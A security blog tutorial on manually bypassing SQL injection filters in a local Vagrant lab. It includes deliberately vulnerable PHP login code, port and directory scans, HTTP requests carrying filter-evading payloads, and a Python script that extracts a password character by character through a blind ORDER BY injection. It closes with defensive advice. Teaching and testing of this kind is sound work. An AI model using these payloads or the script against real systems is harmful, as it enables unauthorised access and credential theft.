Manual SQLi BypassBypassing SQLi filters manually
By Jonathan Armas | May 20, 2020
Among the most recurring vulnerabilities are injection flaws,
not for nothing they are first in the OWASP Top Ten list.
This type of vulnerability
can disrupt your entire security and infrastructure;
almost any input can be an injection vector
and all must be controlled. Here,
SQL injection plays a big role,
not only because of the risk of information leakage
but also because it can lead to remote command execution
or access to the internal network.
This vulnerability works when an attacker injects code into the queries that the application makes to the database interfering with its normal operation. This happens because the developers did not validate data input properly and did not apply the best practices to retrieve data from the database. Let me give you an example; imagine this piece of code:
$user = $_POST['user']; $passwd = $_POST['passwd']; $sql = "select id from users where user='$user' and passwd='$passwd'";
Here I created a common login page code
that checks the username and password.
The variables are introduced through a
and there is no input validation.
An attacker could simply put
the well known
1' or '1'='1
and bypass the login form.
But if I filter some characters like the
single quote character,
then will it be ok? Not so much.
SQLi Bypass lab
To set up our lab,
we are going to use
the source files are below.
Create a folder with the name
and save the
$ mkdir sqli $ cd sqli sqli$ nano Vagrantfile #Add the content here
# -*- mode: ruby -*- # vi: set ft=ruby : Vagrant.configure("2") do |config| config.vm.box = "jarmasatfluid/sqlitest" config.vm.box_version = "1" config.vm.network "private_network", ip: "192.168.56.2" end
Then run the environment using
sqli$ vagrant up
This will create a
LAMP installed and configured.
At this point, everything we need has been completed
and is ready to launch an attack.
Now we can set up our attacking machine.
Here we are using Kali Linux with
but you can use whatever
OS you prefer.
These are the tools that we are going to use:
If you are using
Kali, then everything has already been installed by default.
We are ready to go.
Enumerating our server
First, we need to check the server ports.
We can use
ncat to do it.
$ nmap 192.168.56.2 $ ncat -vz 192.168.56.2 80
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 13:32 SA Pacific Standard Time Nmap scan report for 192.168.56.2 Host is up (0.00051s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 10.19 seconds
Ncat: Connected to 192.168.56.2:80. Ncat: 0 bytes sent, 0 bytes received in 0.31 seconds.
Our server runs
Dirbuster, we can search for directories on the web server.
$ dirb http://192.168.56.2/ DIRB v2.22 By The Dark Raver START_TIME: Mon May 20 11:26:17 2020 URL_BASE: http://192.168.56.2/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt GENERATED WORDS: 4612 Scanning URL: http://192.168.56.2/ ==> DIRECTORY: http://192.168.56.2/code/ + http://192.168.56.2/index.html (CODE:200|SIZE:11321) + http://192.168.56.2/server-status (CODE:403|SIZE:277) Entering directory: http://192.168.56.2/code/ + http://192.168.56.2/code/admin.php (CODE:302|SIZE:2075) + http://192.168.56.2/code/index.php (CODE:200|SIZE:1098) END_TIME: Mon May 20 11:26:25 2020 DOWNLOADED: 9224 - FOUND: 4
As we can see, there is an admin site to which we do not have access and a normal site where our test cases are.
SQLi bypass attacks
There are three test cases;
the first one is the simplest.
It filters the
and also the space character.
The username is not injectable
because it uses a prepared statement
(this was intended to show the correct way of doing queries).
If we put any of those characters into the query,
it should respond with a
To bypass this, we need to substitute those keywords:
OR keyword with the double pipe character
AND keyword with the double ampersand character
In this case, we need to
URL encode it
because of the content type of the web application
Finally, the space character
can be bypassed using several substitutions,
such as the following:
The block comment
%09horizontal tab character
%0anew line character
%0bvertical tab character
%0cnew page character
%0dcarriage return character
So, our well known SQLi payload
will change to something like
POST /code/one.php HTTP/1.1 Host: 192.168.56.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 44 Origin: http://192.168.56.2 Connection: close Referer: http://192.168.56.2/code/one.php Upgrade-Insecure-Requests: 1 user=admin&password='/**/||/**/1%3d1%23&s=OK
The next test case is a little trickier, it filters the same characters as before plus the single quote character. Also, it removes the use of the prepared statement in the username variable but validates the single quote character too.
So, what can we do to bypass this?
The backslash character
\ is a special escape character
used to indicate other special characters in strings.
This is useful in our case
because if we inject that character into the username input,
then the single quote character next to it
will act as a literal one,
and the username string will end next to the password input:
$sql = "SELECT * FROM users WHERE user = '$user\' and passwd = '$pass'";
It’s just a matter of injecting our code there;
the payload in the username will be
and in the password field it will be
GET /code/two.php?user=%5C&password=%2F**%2F%7C%7C%2F**%2F1%3D1%2F**%2F--&s=OK HTTP/1.1 Host: 192.168.56.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.56.2/code/two.php Upgrade-Insecure-Requests: 1
The last example combines everything
and adds more filters to the code;
it is a different type of vulnerability
because we are going to bypass the filter
ORDER BY keyword.
Here we can hardly use any keywords or functions,
union select won’t work either.
To collect data from the database
ORDER BY keyword, we need to use
SQLi or a time-based one.
So, the first injection will be for testing the vulnerability,
let’s inject a simple error-based
where, if it is true, then it will order the items using the id,
and if it is false, it will order them using the name:
Now, let’s add another layer.
We want to get information out of this
and in order to do that we need to make some queries.
In this example, we will get the
(if you want to get the admin password, you should try it yourself).
Because the characters
=, single and double quotes are filtered,
we need another way to get the information of the user that we want.
Here we have the
IN operator and the
IN operator allows us to specify multiple values in a
but we can use only one if we want it,
CHAR function returns the
ASCII character based on a number.
Using both elements, a query for the guest password
will be something like this:
select passwd from users where user in(CHAR(103,117,101,115,116))
Here the string
is the combination of
MID function will help us
to strip characters from that query
and get the password character by character.
This query will get the first character of the password:
mid((select passwd from users where user in(CHAR(103,117,101,115,116))),1,1)
Next, we need to compare it against another character;
here we are going to use
mid((select passwd from users where user in(CHAR(103,117,101,115,116))),1,1) in(CHAR(49))
Finally, we put our query into the previous
and replace the spaces with the block comment:
With this, we can get the
ORDER BY function.
Doing this manually would take quite a while,
let’s automatize it using
The first thing that we need
is a function that makes our queries
and returns the response:
def make_request(parms): """ Makes the request """ response = requests.get(URL, headers=HEADERS, params=parms, cookies=COOKIES) return response.text
Then we need to iterate
through each element of the password
# Length of the password for i in range(8): # All ASCII table for j in range(0, 128): query = 'if(mid((select/**/passwd/**/from/**/users/**/where/**/user/**/in(CHAR(103,117,101,115,116))),'+str(i)+',1)/**/in(CHAR('+str(j)+')),id,name)'
And finally, we check whether the list is ordered by id:
check = ">Description</th></tr></thead><tbody><tr><td>5" if check in resp: PASSWORD += chr(j) break
That’s it, create the exploit,
execute it, and wait for the result.
This could be done using any other query,
for example, getting the
MySQL user password hash.
The first thing that someone with this problem needs to do is to implement prepared statements; there is no way out of it. Injections can occur at almost any (if not all) database provider. With these statements, the software will present a robust data querying and discard the use of dynamic queries.
The next step is to execute whitelists to validate user input. When the developers use blacklist filtering, as in the examples above, there is a risk of missing some parameter that can allow the injection. Whitelists are a better approach because they only allow what is in them and nothing else.
Finally, there is the implementation of the principle of least privilege. I’ve encountered several databases executing queries using the root user; it is better to use limited users in our applications because it limits the range of action of the attackers that, in the worst scenario, get access to the database.